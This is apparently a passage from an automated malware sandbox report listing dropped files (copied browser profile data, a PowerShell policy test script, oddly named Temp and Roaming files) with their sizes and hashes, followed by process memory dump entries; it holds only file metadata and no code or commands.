C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\000003.log

Filesize
46B

MD5
90881c9c26f29fca29815a08ba858544

SHA1
06fee974987b91d82c2839a4bb12991fa99e1bdd

SHA256
a2ca52e34b6138624ac2dd20349cde28482143b837db40a7f0fbda023077c26a

SHA512
15f7f8197b4fc46c4c5c2570fb1f6dd73cb125f9ee53dfa67f5a0d944543c5347bdab5cce95e91dd6c948c9023e23c7f9d76cff990e623178c92f8d49150a625

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Sync Data\LevelDB\LOG

Filesize
267B

MD5
7563a70a70308bab353e5ffd058e3415

SHA1
8f3e9723cf26774c3877f2c858c490b73b4a890e

SHA256
cfeec771152510a361958f0dc344c9d4cdf4c6db24dee4e2c104c8e636d569bc

SHA512
8c3a3a60684b0f073b62c98f713c9e73a51c0dcc7d0338ba94b47f27c3e445f15ea4d1f766e86950a659b85a07d9569f1a59a6648cca3a24abea83156e1f1c2e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Top Sites

Filesize
20KB

MD5
986962efd2be05909f2aaded39b753a6

SHA1
657924eda5b9473c70cc359d06b6ca731f6a1170

SHA256
d5dddbb1fbb6bbf2f59b9d8e4347a31b6915f3529713cd39c0e0096cea4c4889

SHA512
e2f086f59c154ea8a30ca4fa9768a9c2eb29c0dc2fe9a6ed688839853d90a190475a072b6f7435fc4a1b7bc361895086d3071967384a7c366ce77c6771b70308

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Visited Links

Filesize
128KB

MD5
6e8a132e9fc71e84fb6ed0b2d519226a

SHA1
f4130b1c414a72080c78f1707bf0ade44b679f2f

SHA256
4bb8d6c8f96f6c23be8411d30504d1664eab72a6b146ae272807e10b51cd5e30

SHA512
b2aa7c506ac23b6564f465ccb5bb2ecb8303883a51755bf72f4ba24f803c696f6154218365d6f425be70a0d81570fcbab87c4a7eadf386bc477422567d8a9a43

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Web Data

Filesize
114KB

MD5
f3ddd82664004c10a9124c02eb7d4a8c

SHA1
0e6fd3def0b32fefd590eddf8acfc80575fcaa03

SHA256
43fda51ea528bca417570873c3bcce051ae8f3983bfdfe31e9628be73cd208d3

SHA512
1fef67fd22f8ca37555d866e131f210223bb906b6e53f5e59688e0f430eada84bea094c1400d340aaf9cb93cccc1ee019d88251fc69fcb1d5ba396326aa0850e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\000003.log

Filesize
4KB

MD5
34aac46fed10540b48a9543906643a27

SHA1
762ceefc0bd9bab4f65c94d9ab680eada4b134c6

SHA256
aaa6d70f7ddb83845c2e492ebe4e147fdb739c94ca36d44459b215c93ea0e1f7

SHA512
f4a6d499def251318d07a8a2e02266647bde362311c0103c56228e86102ca22e1f39c95727598add6ae921a6b48f2507dc73e774cf08cd00be9f15b13ddf1ba2

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\LOG

Filesize
263B

MD5
e7eed4b0e3b6cc4184ed0a8f501fa907

SHA1
18d064f635a8c47a1a7694405e6ddfdef511cdae

SHA256
d2562d5f0319e09aaf5d8d33a6cd36bab5ff73859e10201e385fce39549225ee

SHA512
62c2ac9da0f29001d68119ea052cc1cdfffebe4d2fc2e9ea0b0f0406c19d695b84ab61cda7b42f39f74a5e887eb9081cbf999b3481b33f29d44c382c73b759d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\000003.log

Filesize
682B

MD5
e105a4442f3697ab875d984f8df4085e

SHA1
ffd34d898c99d2059deaa42b1755a461176f6ce6

SHA256
40932f87130991f098907ba49ddf69314feb00f462f43e7103181105f1a7ffca

SHA512
a70eeeaf20f563fabd69e21044b0d30a1a8caa48af0651c7dd119d6e38cf442ea9199cb2bdb2162547ad560c5dc297d61689fd9324f34c0738016bb3eb9f9dda

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\LOG

Filesize
281B

MD5
243d51558e3f6e51b117e60fa55ec7e5

SHA1
e21f30880f85bf02f81c9ea6db0ec7de37fe3c31

SHA256
a1039fd916eeaf18ae6fdb906179e2b33bc51a8b6433a67f1c69479c2328dc9c

SHA512
a752145b95d28505aab7198726446407e3f09d55cc3ec242141bd6f33fccc2fbfaede3cc9f2fbb6a7b2acd8a55e39d58c687e26f443c9ec73778375414194ff7

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_0

Filesize
8KB

MD5
cf89d16bb9107c631daabf0c0ee58efb

SHA1
3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

SHA256
d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

SHA512
8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_1

Filesize
264KB

MD5
d0d388f3865d0523e451d6ba0be34cc4

SHA1
8571c6a52aacc2747c048e3419e5657b74612995

SHA256
902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b

SHA512
376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_2

Filesize
8KB

MD5
0962291d6d367570bee5454721c17e11

SHA1
59d10a893ef321a706a9255176761366115bedcb

SHA256
ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

SHA512
f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_3

Filesize
8KB

MD5
41876349cb12d6db992f1309f22df3f0

SHA1
5cf26b3420fc0302cd0a71e8d029739b8765be27

SHA256
e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

SHA512
e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Last Version

Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
10KB

MD5
b329a8ef22a3d603218a2535e9cb204b

SHA1
035be69062d4ef9351a45464f448a16d66816423

SHA256
28c962381cfedbe3380543610e537db8333b8b29ba680dfcaa061f63a57a4e5f

SHA512
ab1507f50b651ec3ab78771c195611924acb04b18bc2a1e52bfb9641748b8e0dbcad2c2fbcb835124ca6f6ec46e617e8b8860d5efc5692519eebf2895e290380

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
8KB

MD5
905b7cab2ca814c2dc2154512d769f97

SHA1
06a14891bde1bbd3e4c07221eaa85e2e0cece03a

SHA256
3535c6128926fdc5a7678dc9dd1d6676d5c5a4a5581f7ae9e70710444e020c5a

SHA512
5c621be9de2dcab0edd562c76ade738543306ee5fd18ffa31f8d7c8d65cfb5f0f59c3281ccfac04c6e761766fad5bb588290cc1dfd4efbe8aec4237f5ba3884b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
116KB

MD5
f7a89d82e642ac38abf2c314d6347163

SHA1
8a9b0b2f531f986d11f4be915271ca2eb02012d8

SHA256
b46d3787e7efd34848ff452e362f533e6aefa0c9ae96e03d602d15255ae2a1c2

SHA512
ab739105c0df94932fc311db415555f816c8c09d0768560b483de4bb9ffeaee661742fe87576537f9de173f14e3ad6d461e47d8f077dc29cdaeb209bddea61cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3rr3d1ss.mxs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\aeetgtglmxghe

Filesize
4KB

MD5
79f35c7500a5cc739c1974804710441f

SHA1
24fdf1fa45049fc1a83925c45357bc3058bad060

SHA256
897101ed9da25ab0f10e8ad1aeb8dabc3282ccfdb6d3171dbac758117b8731f4

SHA512
03281e8abecff4e7d1f563596a4fd2513e016b7fbf011a455141460f9448d00b4a4666d2036cb448a8ac9a6feebeb51b366289ffa2ee5524a062fe8869aec61e

Download Submit
C:\Users\Admin\AppData\Roaming\Relativizes.Bro

Filesize
429KB

MD5
8ced58b06ab66f4b168f22625adf4402

SHA1
750e8a710aa56269b370cf47ee60fe4b98f09b89

SHA256
d9028440c53673689f5b41e0342fb505ce56a8d82c423826306b9269c932d51c

SHA512
82fcbf8783de6294c3177c60dfabc4dcc960b8796560882e1d65d0ce57768371c7e49ce92e2924df990daafeeeaafd9af2bab9a4b6c7c5491289d79c1813594a

Download Submit
memory/1852-88-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1852-81-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1852-83-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1852-85-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2012-116-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2012-103-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2012-115-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3440-82-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3440-86-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3440-87-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3516-49-0x0000000008B30000-0x000000000C5CD000-memory.dmp

Filesize
58.6MB

Download
memory/3516-26-0x0000000005310000-0x0000000005938000-memory.dmp

Filesize
6.2MB

Download
memory/3516-46-0x0000000007310000-0x0000000007332000-memory.dmp

Filesize
136KB

Download
memory/3516-45-0x00000000073B0000-0x0000000007446000-memory.dmp

Filesize
600KB

Download
memory/3516-44-0x00000000066B0000-0x00000000066CA000-memory.dmp

Filesize
104KB

Download
memory/3516-25-0x0000000004B40000-0x0000000004B76000-memory.dmp

Filesize
216KB

Download
memory/3516-47-0x0000000008580000-0x0000000008B24000-memory.dmp

Filesize
5.6MB

Download
memory/3516-43-0x0000000007950000-0x0000000007FCA000-memory.dmp

Filesize
6.5MB

Download
memory/3516-42-0x0000000006130000-0x000000000617C000-memory.dmp

Filesize
304KB

Download
memory/3516-27-0x0000000005270000-0x0000000005292000-memory.dmp

Filesize
136KB

Download
memory/3516-41-0x00000000060F0000-0x000000000610E000-memory.dmp

Filesize
120KB

Download
memory/3516-39-0x0000000005B10000-0x0000000005E64000-memory.dmp

Filesize
3.3MB

Download
memory/3516-29-0x0000000005AA0000-0x0000000005B06000-memory.dmp

Filesize
408KB

Download
memory/3516-28-0x0000000005A30000-0x0000000005A96000-memory.dmp

Filesize
408KB

Download
memory/3528-200-0x00000000225F0000-0x0000000022609000-memory.dmp

Filesize
100KB

Download
memory/3528-72-0x0000000021AD0000-0x0000000021B04000-memory.dmp

Filesize
208KB

Download
memory/3528-62-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/3528-68-0x0000000021AD0000-0x0000000021B04000-memory.dmp

Filesize
208KB

Download
memory/3528-63-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/3528-199-0x00000000225F0000-0x0000000022609000-memory.dmp

Filesize
100KB

Download
memory/3528-71-0x0000000021AD0000-0x0000000021B04000-memory.dmp

Filesize
208KB

Download
memory/3528-196-0x00000000225F0000-0x0000000022609000-memory.dmp

Filesize
100KB

Download
memory/3720-24-0x00007FFDD2E40000-0x00007FFDD3901000-memory.dmp

Filesize
10.8MB

Download
memory/3720-20-0x00007FFDD2E40000-0x00007FFDD3901000-memory.dmp

Filesize
10.8MB

Download
memory/3720-19-0x00007FFDD2E43000-0x00007FFDD2E45000-memory.dmp

Filesize
8KB

Download
memory/3720-16-0x00007FFDD2E40000-0x00007FFDD3901000-memory.dmp

Filesize
10.8MB

Download
memory/3720-15-0x00007FFDD2E40000-0x00007FFDD3901000-memory.dmp

Filesize
10.8MB

Download
memory/3720-21-0x00007FFDD2E40000-0x00007FFDD3901000-memory.dmp

Filesize
10.8MB

Download
memory/3720-10-0x000002B17B800000-0x000002B17B822000-memory.dmp

Filesize
136KB

Download
memory/3720-4-0x00007FFDD2E43000-0x00007FFDD2E45000-memory.dmp

Filesize
8KB

Download